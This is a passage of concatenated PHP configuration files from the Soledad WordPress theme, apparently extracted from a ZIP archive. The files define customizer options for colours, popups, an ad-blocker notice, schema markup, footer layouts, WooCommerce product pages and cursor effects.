	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Hover Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_bg_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_text',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Submit Hover Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_button_text_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     0w\;V  V  G  customizer/config/sections/penci_section_homepage_title_box_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Home Title Box Style', 'soledad' ),
	'id'       => 'penci_featured_cat_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''                  => __( 'Default( follow Sidebar )', 'soledad' ),
		'style-1'           => __( 'Style 1', 'soledad' ),
		'style-2'           => __( 'Style 2', 'soledad' ),
		'style-3'           => __( 'Style 3', 'soledad' ),
		'style-4'           => __( 'Style 4', 'soledad' ),
		'style-5'           => __( 'Style 5', 'soledad' ),
		'style-6'           => __( 'Style 6 - Only Text', 'soledad' ),
		'style-7'           => __( 'Style 7', 'soledad' ),
		'style-9'           => __( 'Style 8', 'soledad' ),
		'style-8'           => __( 'Style 9 - Custom Background Image', 'soledad' ),
		'style-10'          => __( 'Style 10', 'soledad' ),
		'style-11'          => __( 'Style 11', 'soledad' ),
		'style-12'          => __( 'Style 12', 'soledad' ),
		'style-13'          => __( 'Style 13', 'soledad' ),
		'style-14'          => __( 'Style 14', 'soledad' ),
		'style-15'          => __( 'Style 15', 'soledad' ),
		'style-16'          => __( 'Style 16', 'soledad' ),
		'style-2 style-17'  => __( 'Style 17', 'soledad' ),
		'style-18'          => __( 'Style 18', 'soledad' ),
		'style-18 style-19' => __( 'Style 19', 'soledad' ),
		'style-18 style-20' => __( 'Style 20', 'soledad' ),
		'style-21'          => __( 'Style 21', 'soledad' ),
		'style-22'          => __( 'Style 22', 'soledad' ),
		'style-23'          => __( 'Style 23', 'soledad' ),
		'style-24'          => __( 'Style 24', 'soledad' ),
		'style-25'          => __( 'Style 25', 'soledad' ),
		'style-26'          => __( 'Style 26', 'soledad' ),
		'style-27'          => __( 'Style 27', 'soledad' ),
		'style-28'          => __( 'Style 28', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Outer on Title Box', 'soledad' ),
	'id'       => 'penci_home_remove_border_outer',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Arrow Down on Title Box', 'soledad' ),
	'id'       => 'penci_home_remove_arrow_down',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( 'Custom Background Image for Style 9', 'soledad' ),
	'id'       => 'penci_featured_cat_image_8',
);
$options[] = array(
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Background Image Repeat for Style 9', 'soledad' ),
	'id'       => 'penci_featured_cat8_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => 'No Repeat',
		'repeat'    => 'Repeat'
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Home Title Box', 'soledad' ),
	'id'       => 'penci_home_featured_cat_lowcase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'pcalign-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Featured Categories Title Box Align', 'soledad' ),
	'id'       => 'penci_featured_cat_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => 'pcalign-center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Heading Latest Post Titles Align', 'soledad' ),
	'id'       => 'penci_heading_latest_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'pcalign-center' => __( 'Center', 'soledad' ),
		'pcalign-left'   => __( 'Left', 'soledad' ),
		'pcalign-right'  => __( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align Icon on Style 15', 'soledad' ),
	'id'       => 'penci_homep_icon_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''              => __( 'Default( follow Sidebar )', 'soledad' ),
		'pciconp-right' => __( 'Right', 'soledad' ),
		'pciconp-left'  => __( 'Left', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Icon on Style 15', 'soledad' ),
	'id'       => 'penci_homep_icon_design',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''             => __( 'Default( follow Sidebar )', 'soledad' ),
		'pcicon-right' => __( 'Arrow Right', 'soledad' ),
		'pcicon-left'  => __( 'Arrow Left', 'soledad' ),
		'pcicon-down'  => __( 'Arrow Down', 'soledad' ),
		'pcicon-up'    => __( 'Arrow Up', 'soledad' ),
		'pcicon-star'  => __( 'Star', 'soledad' ),
		'pcicon-bars'  => __( 'Bars', 'soledad' ),
		'pcicon-file'  => __( 'File', 'soledad' ),
		'pcicon-fire'  => __( 'Fire', 'soledad' ),
		'pcicon-book'  => __( 'Book', 'soledad' ),
	)
);

return $options;
PK     0w\E    B  customizer/config/sections/penci_popup_section_display_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_popup_show_after',
	'default'  => 'all_pages',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Event', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'all_pages' => __( 'Show on all pages, no using cookies', 'soledad' ),
		'time'      => __( 'One Time - close forever when users close popup', 'soledad' ),
		'section'   => __( 'Section', 'soledad' ),
		'fixtime'   => __( 'After Fixed Time', 'soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_popup_html_content',
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Load Popup Content Using Shortcode/HTML', 'soledad' ),
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'id'          => 'penci_popup_block',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Load Popup Content Using Penci Block', 'soledad' ),
	'description' => __( 'You can add new or edit a Penci Block on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'id'          => 'penci_popup_show_after_time',
	'default'     => '2000',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Popup Delay', 'soledad' ),
	'description' => __( 'Show popup after some time (in milliseconds). Apply for "Some Time" Setting.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_show_after_time',
	'default'     => '7',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Show After Fixed Time', 'soledad' ),
	'description' => __( 'Set the number of days expire the popup cookie. Apply for "After Fixed Time" Setting.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_version',
	'default'     => '1',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Popup Version', 'soledad' ),
	'description' => __( 'If you apply any changes to your popup settings or content you might want to force the popup to all visitors who already closed it again. In this case, you just need to increase the banner version.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_show_after_pages',
	'default'     => '0',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Show After Number of Pages Visited', 'soledad' ),
	'description' => __( 'You can choose how many pages the user should visit before the popup will be shown.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'       => 'penci_popup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);

return $options;
PK     0w\!i~    H  customizer/config/sections/pencidesign_new_section_adblocker_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Ad Blocker Detector Pop-up', 'soledad' ),
	'id'          => 'penci_adblocker_popup',
	'description' => __( 'Block the adblockers from browsing the site, till they turn off the Ad Blocker. ', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => __( 'Adblock Detected', 'soledad' ),
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Pop-up Title', 'soledad' ),
	'id'       => 'penci_adblocker_popup_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Pop-up Message', 'soledad' ),
	'id'       => 'penci_adblocker_popup_message',
	'default'  => __( 'Please support us by disabling your AdBlocker extension from your browsers for our website.', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Button Text', 'soledad' ),
	'id'       => 'penci_adblocker_dissmiss',
	'default'  => __( 'Dismiss this message', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Number of seconds before displaying the message', 'soledad' ),
	'id'       => 'penci_adblocker_popup_time',
	'type'     => 'soledad-fw-number',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Is dismissable?', 'soledad' ),
	'id'          => 'penci_adblocker_popup_dismissable',
	'description' => __( 'Allow visitors to dismiss the message.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Don\'t show again after dismissing', 'soledad' ),
	'id'       => 'penci_adblocker_popup_onetime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => [],
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Don\'t show for user group', 'soledad' ),
	'id'       => 'penci_adblocker_user_group',
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		return $roles;
	} ),
);
$options[] = array(
	'label' => __( 'Popup Colors', 'soledad' ),
	'id'    => 'penci_adblocker_popup_heading',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Background Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_bgcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Icon Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_icolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Heading Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_headingcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_textcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Button Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_btncolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Button Hover Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_btnhcolor',
	'type'     => 'soledad-fw-color',
);

return $options;PK     0w\|8	  8	  H  customizer/config/sections/pencidesign_general_schema_markup_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Custom General Logo for Schema Markup', 'soledad' ),
	'type'     => 'soledad-fw-image',
	'id'       => 'penci_logo_schema',
	'sanitize' => 'esc_url_raw'
);
$options[] = array(
	'label'    => __( 'Remove WPHeader Schema Data', 'soledad' ),
	'id'       => 'penci_schema_wphead',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove WPFooter Schema Data', 'soledad' ),
	'id'       => 'penci_schema_wpfoot',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Site Navigation Schema Data', 'soledad' ),
	'id'       => 'penci_schema_sitenav',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Hentry Schema Data', 'soledad' ),
	'id'       => 'penci_schema_hentry',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove General Organization Schema Data', 'soledad' ),
	'id'       => 'penci_schema_organization',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Website Schema Data', 'soledad' ),
	'id'       => 'penci_schema_website',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Breadcrumbs Schema Data', 'soledad' ),
	'id'       => 'penci_schema_breadcrumbs',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Schema Data for Single Posts/Pages', 'soledad' ),
	'id'       => 'penci_schema_single',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Use NewsArticle Schema for All Posts', 'soledad' ),
	'id'       => 'penci_post_use_newsarticle',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

return $options;
PK     0w\    B  customizer/config/sections/penci_footer_builder_config_section.phpnu [        <?php
$footer_options     = [];
$footer_options[''] = __( '- Select -', 'soledad' );
$builder_layouts    = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$footer_options[ $builder_builder->post_name ] = $builder_builder->post_title;
}
$options = [];
/* Saved Layout */
$options[] = array(
	'id'       => 'penci_footer_builder_layout',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Footer Builder for All Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Homepage', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Single Post Pages', 'soledad' ),
	'choices'  => $footer_options,
);

return $options;
PK     0w\Uy-%  %  F  customizer/config/sections/pencidesign_woo_single_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => 'top',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Breadcrumb Position', 'soledad' ),
	'description' => __( 'Select the breadcrumb position on single product', 'soledad' ),
	'id'          => 'penci_single_product_breadcrumb_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top'     => __( 'Top of page', 'soledad' ),
		'summary' => __( 'Top of product summary', 'soledad' ),
		'hidden'  => __( 'Hidden', 'soledad' ),
	)
);
$options[] = array(
	'default'     => 'standard',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product image width', 'soledad' ),
	'description' => __( 'You can choose different page layout depending on the product image size you need', 'soledad' ),
	'id'          => 'penci_single_product_img_width',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard'            => __( 'Standard', 'soledad' ),
		'medium'              => __( 'Medium', 'soledad' ),
		'large'               => __( 'Large', 'soledad' ),
		'fullwidth-container' => __( 'Full Width (Container)', 'soledad' ),
		'fullwidth'           => __( 'Full Width', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Max Width for Product Detail on Full Width Images Style', 'soledad' ),
	'id'       => 'penci_single_product_summary_width',
	'ids'      => array(
		'desktop' => 'penci_single_product_summary_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'thumbnail-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Thumbnails position', 'soledad' ),
	'description' => __( 'Use vertical or horizontal position for thumbnails.', 'soledad' ),
	'id'          => 'penci_single_product_thumbnail_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'thumbnail-left'         => __('Left','soledad' ),
		'thumbnail-right'        => __('Right','soledad' ),
		'thumbnail-bottom'       => __('Bottom','soledad' ),
		'thumbnail-bottom-1-col' => __('Bottom 1 Column','soledad' ),
		'thumbnail-bottom-2-col' => __('Bottom 2 Column','soledad' ),
		'thumbnail-grid'         => __('Grid','soledad' ),
		'thumbnail-without'      => __('Without','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Zoom on Gallery Product', 'soledad' ),
	'id'       => 'penci_woo_disable_zoom',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Sticky Product Image & Content', 'soledad' ),
	'description' => __( 'Check to enable sticky content & product images', 'soledad' ),
	'id'          => 'penci_single_product_sticky_thumbnail_content',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Single Product Ajax Add to Cart', 'soledad' ),
	'description' => __( 'Turn on this option if the addon product doesn\'t add to cart.', 'soledad' ),
	'id'          => 'penci_single_product_disable_ajax_atc',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_single_product_top_related_product',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Top Next/Previous Products', 'soledad' ),
	'description' => __( 'Check to show the next/prvious post on the top of product.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Tabs Content Display Style', 'soledad' ),
	'id'       => 'penci_single_product_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default'           => __('Standard','soledad' ),
		'accordion-tab'     => __('Accordion Toggle','soledad' ),
		'accordion-content' => __('Accordion Content','soledad' ),
	)
);
$options[] = array(
	'default'     => 'standard',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Summary Align', 'soledad' ),
	'description' => __( 'Select default product summary align style', 'soledad' ),
	'id'          => 'penci_single_product_summary_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Standard','soledad' ),
		'center'   => __('Center','soledad' ),
	)
);
$options[] = array(
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Enable sticky add to cart ?', 'soledad' ),
	'id'       => 'pencidesign_woo_single_sticky_add_to_cart',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'enable'  => __('Enable','soledad' ),
		'disable' => __('Disable','soledad' ),
	)
);
$options[] = array(
	'default'     => 'disable',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add shadow to product summary block', 'soledad' ),
	'description' => __( 'Useful when you set background color for the single product page to gray for example.', 'soledad' ),
	'id'          => 'woo_single_add_shadow_to_summary',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'enable'  => __('Enable','soledad' ),
		'disable' => __('Disable','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Custom Tab', 'soledad' ),
	'id'       => 'penci_woo_custom_tab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Tab Title', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Tab Content', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_content',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => 50,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Tab Priority', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_priority',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_custom_tab_priority',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '50',
		),
	),
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Convert select into the button', 'soledad' ),
	'description' => __( 'Convert the select into button on the no-swatches field.', 'soledad' ),
	'id'          => 'pencidesign_woo_single_select2button',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_social_share_style',
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Social Sharing Style', 'soledad' ),
	'description' => __( 'Select the social sharing style.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_social_icon_style',
	'default'     => 'circle',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Social Icon Style', 'soledad' ),
	'description' => __( 'Select the social sharing style.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'circle' => __('Circle','soledad' ),
		'square' => __('Square','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_product_related_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Related Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on related section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Amount of Related Products', 'soledad' ),
	'id'       => 'penci_woo_number_related_products',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_number_related_products',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'id'          => 'penci_shop_product_up_sell_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Up Sell Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on up sell section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);

return $options;
PK     0w\uoT
  
  A  customizer/config/sections/pencidesign_general_cursor_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_cursor_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Cursor Effect', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Size', 'soledad' ),
	'id'          => 'penci_cursor_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Circle Inner Size', 'soledad' ),
	'id'          => 'penci_cursor_circle_inner_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_circle_inner_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Hover Cursor Circle Inner Size', 'soledad' ),
	'id'          => 'penci_cursor_exsmall_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_exsmall_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Border Width', 'soledad' ),
	'id'          => 'penci_cursor_bdw',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_bdw',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => 'solid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Cursor Border Style', 'soledad' ),
	'id'          => 'penci_cursor_bds',
	'type'        => 'soledad-fw-select',
	'choices'         => [
		'solid' 	=> 'Solid',
		'dotted'  	=> 'Dotted',
		'dashed'  	=> 'Dashed',
		'double'  	=> 'Double',
	],
);
$options[] = array(
	'label'    => __( 'Cursor Color', 'soledad' ),
	'id'       => 'penci_cursor_main_inv_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
return $options;
PK     0w\    E  customizer/config/sections/penci_section_spost_cpost_meta_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Showing Custom Meta Fields?', 'soledad' ),
